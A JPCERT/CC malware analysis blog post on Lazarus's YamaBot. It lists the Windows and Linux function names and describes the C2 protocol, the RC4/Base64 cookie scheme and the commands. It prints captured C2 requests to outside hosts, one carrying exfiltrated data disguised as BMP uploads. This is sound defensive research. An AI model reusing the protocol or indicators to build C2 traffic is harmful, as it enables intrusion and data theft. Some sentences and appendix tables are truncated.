JPCERT/CC is continuously investigating the activities by Lazarus. In 2021, JPCERT/CC presented on its attack activities at CODE BLUE and HITCON.
he YamaBot malware shared in the above research report targeted the Linux OS, but another type recently found targets Windows OS. (It is referred to as Kaos in the document, but this blog refers to it as YamaBot.) YamaBot is malware coded in Golang, with slightly different functionality between types created for each platform. In addition to YamaBot, Lazarus also created several other types of malware targeting multiple platforms, such as VSingle. This article covers the details of YamaBot.
Overview of YamaBot
YamaBot malware communicates with C2 servers using HTTP requests. The following is a list of function names included in the sample that targets Windows OS. It is the attacker that named the malware as Yamabot. Those targeting Windows OS have functions specific to it, such as creating and checking Mutex.
_/D_/Bot/YamaBot/utilities.BaseDecodeR _/D_/Bot/YamaBot/utilities.HttpPostWithCookie _/D_/Bot/YamaBot/utilities.HttpPostWithFile _/D_/Bot/YamaBot/utilities.GetMacAddress _/D_/Bot/YamaBot/utilities.GetHash _/D_/Bot/YamaBot/utilities.GetCookieParams _/D_/Bot/YamaBot/utilities.GetRndString _/D_/Bot/YamaBot/utilities.BmpMaker _/D_/Bot/YamaBot/utilities.createMutex _/D_/Bot/YamaBot/utilities.CCheckkmutex _/D_/Bot/YamaBot/utilities.CIpaddress _/D_/Bot/YamaBot/utilities.COsname _/D_/Bot/YamaBot/utilities.getOSVer _/D_/Bot/YamaBot/utilities.Run _/D_/Bot/YamaBot/utilities.Run.func1 _/D_/Bot/YamaBot/utilities.Run.func2 _/D_/Bot/YamaBot/engine.(*FileStruct).Lunch _/D_/Bot/YamaBot/engine.(*FileStruct).Init_Verbindung _/D_/Bot/YamaBot/engine.(*FileStruct).Verschlusselte_Zeichenkette_Eerhalten _/D_/Bot/YamaBot/engine.(*FileStruct).getInitBotInfo _/D_/Bot/YamaBot/engine.(*FileStruct).getEggPrice _/D_/Bot/YamaBot/engine.(*FileStruct).handleMarketPrice _/D_/Bot/YamaBot/engine.(*FileStruct).processMarketPrice _/D_/Bot/YamaBot/engine.(*FileStruct).getSessionStr
The following is a list of malware function names included in the sample targeting Linux OS. The name kaos was used for it.
_/C_/Users/administrator/Downloads/kaos/utilities.BaseDecodeR _/C_/Users/administrator/Downloads/kaos/utilities.HttpPostWithCookie _/C_/Users/administrator/Downloads/kaos/utilities.BaseDecode _/C_/Users/administrator/Downloads/kaos/utilities.HttpPostWithFile _/C_/Users/administrator/Downloads/kaos/utilities.GenerateUniqueID _/C_/Users/administrator/Downloads/kaos/utilities.GetCookieParams _/C_/Users/administrator/Downloads/kaos/utilities.BaseEncode _/C_/Users/administrator/Downloads/kaos/utilities.GetRndString _/C_/Users/administrator/Downloads/kaos/utilities.EierKochen _/C_/Users/administrator/Downloads/kaos/utilities.CIpaddress _/C_/Users/administrator/Downloads/kaos/utilities.Run _/C_/Users/administrator/Downloads/kaos/engine.(*Egg).Lunch _/C_/Users/administrator/Downloads/kaos/engine.(*Egg).kandidatKaufhaus _/C_/Users/administrator/Downloads/kaos/engine.(*Egg).initDuck _/C_/Users/administrator/Downloads/kaos/engine.(*Egg).GetEncString _/C_/Users/administrator/Downloads/kaos/engine.(*Egg).getInitEggPrice _/C_/Users/administrator/Downloads/kaos/utilities.COsname _/C_/Users/administrator/Downloads/kaos/engine.(*Egg).getEggPrice _/C_/Users/administrator/Downloads/kaos/engine.(*Egg).handleMarketPrice _/C_/Users/administrator/Downloads/kaos/engine.(*Egg).processMarketPrice _/C_/Users/administrator/Downloads/kaos/engine.(*Egg).getSessionStr _/C_/Users/administrator/Downloads/kaos/engine.NewEgg
Figure 1 shows a part of the code to read configuration. The malware's configuration includes RC4 keys. (See Appendix A for further information on the configuration). The configuration has no difference depending on OS.Figure 1: Code for reading configuration
The following sections describes YamaBot's communication methods and commands, focusing on the differences between the Linux OS version and the Windows OS version.
YamaBot communicates with the C2 server using HTTP requests. The following is the first HTTP POST request sent by YamaBot. Although it is a HTTP POST request, there is no data to send. It is also unique in that the UserAgent is Base64-encoded.
POST /editor/session/aaa000/support.php HTTP/1.1 Host: 18.104.22.168 User-Agent: TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzYwLjAuMzExMi4xMTMgU2FmYXJpLzUzNy4zNg== Connection: close Content-Length: 0 Accept-Encoding: gzip
After successfully connecting to the C2 server, YamaBot sends the following request, which includes information in its cookie header. The
captcha_session contains a randomly generated string and a RC4 key ([random characters (16 bytes)][RC4 key (16 bytes)][random characters (4 bytes)]), Base64-encoded. The RC4 key is the first 16 bytes of the MD5 value created from the following data.
- Target Windows OS: hostname, username, MAC address
- Target Linux OS: hostname, username
captcha_val contains device information and the results of command execution, RC4-encrypted and Base64-encoded.
POST /editor/session/aaa000/support.php HTTP/1.1 Host: 22.214.171.124 User-Agent: TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzYwLjAuMzExMi4xMTMgU2FmYXJpLzUzNy4zNg== Connection: close Content-Length: 0 Cookie: captcha_session=MTE5NzZmMTYwYzRlNTU4YjhhNDZhMTM4ZGMwNzgzNTNhNmUy; captcha_val=W%2BIePQNeokInrSpb%2Fw1rTLAZvJAZQHmqAm2rXWdTsCvZ Accept-Encoding: gzip
The first data sent by
captcha_val is OS information and IP address. The following contents are sent.
windows 6 amd64|[192.168.1.1] linux 386|[192.168.1.1]
Furthermore, if the size of the data to be sent exceeds a certain size (check the examples of 3,333 bytes and 7,000 bytes), it is sent disguised as multi-part BMP data instead of
POST /recaptcha.php HTTP/1.1 Host: www.karin-store.com User-Agent: TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzYwLjAuMzExMi4xMTMgU2FmYXJpLzUzNy4zNg== Connection: close Content-Length: [Length] Content-Type: multipart/form-data; boundary=f24fad327291ab32166b7aa751d1d945a35933ee5bd81618274cda6afeeb Cookie: captcha_session=YTY5NDQ5MDYwNmRkNjIyOWI3MzU1NTNmYzMxMzhiNTAyNGJh; captcha_val=NGI5NjdhNTdhNjliZTVkMg%3D%3D Accept-Encoding: gzip --f24fad327291ab32166b7aa751d1d945a35933ee5bd81618274cda6afeeb Content-Disposition: form-data; name="recaptcha"; filename="recaptcha.png" Content-Type: application/octet-stream BMf6(....0a..DT043b01c728892b495b99ea4c257fe3a8fea3a5f --f24fad327291ab32166b7aa751d1d945a35933ee5bd81618274cda6afeeb--
The commands from the server are included in the Set-Cookie header. They are RC4-encrypted and Base64-encoded and then included in the
captcha_session as follows. Note that the data sent by the malware is used as the RC4 key.
The malware executes certain commands sent from its C2 server, and they are largely different depending on target OS. Those targeting Linux OS can only execute shell commands by /bin/sh. On the other hand, those targeting Windows OS have multiple commands implemented as follows.
- dir: Get the file list
- Mapfs: Get the directory list
- Download: Download file
- Info: Send file path and PID
- Sleep: Change sleep time
- Uninstall: Delete itself
- i: Change interval time
- Others: Execute a given string with shell command
The command is in the form of
[command][command parameters], and the first half includes the above command.
When the command
i is executed, the execution result is sent including German language as follows. The reason why German language is included in YamaBot is unknown.
YamaBot malware is still used by attackers. Since it targets not only Windows OS but also Linux OS, servers should also be carefully investigated during incident investigation. Attention should continuously paid as attacks by Lazarus have been confirmed in Japan. Another type of malware used by Lazarus will be covered in the next issue.
(Translated by Takumi Nakano)
Appendix A: Configuration InformationTable A-2: List of configuration information (x86)
|0x00C||C2 server length|
|0x018||C2 server connection||C2 server connection successful/unsuccessful|
|0x01C||Cookie header value||Value to set in cookie header|
|0x024||The number of connections||The number of reconnections to C2 server|
|0x010||C2 server length|
|0x020||RC4 key length|
|0x028||C2 server connection||C2 server connection successful/unsuccessful|
|0x030||Cookie header value||Value to set in cookie header|
|0x040||The number of connections||The number of reconnections to C2 server|
Appendix B: C2 server
Appendix C: Malware hash value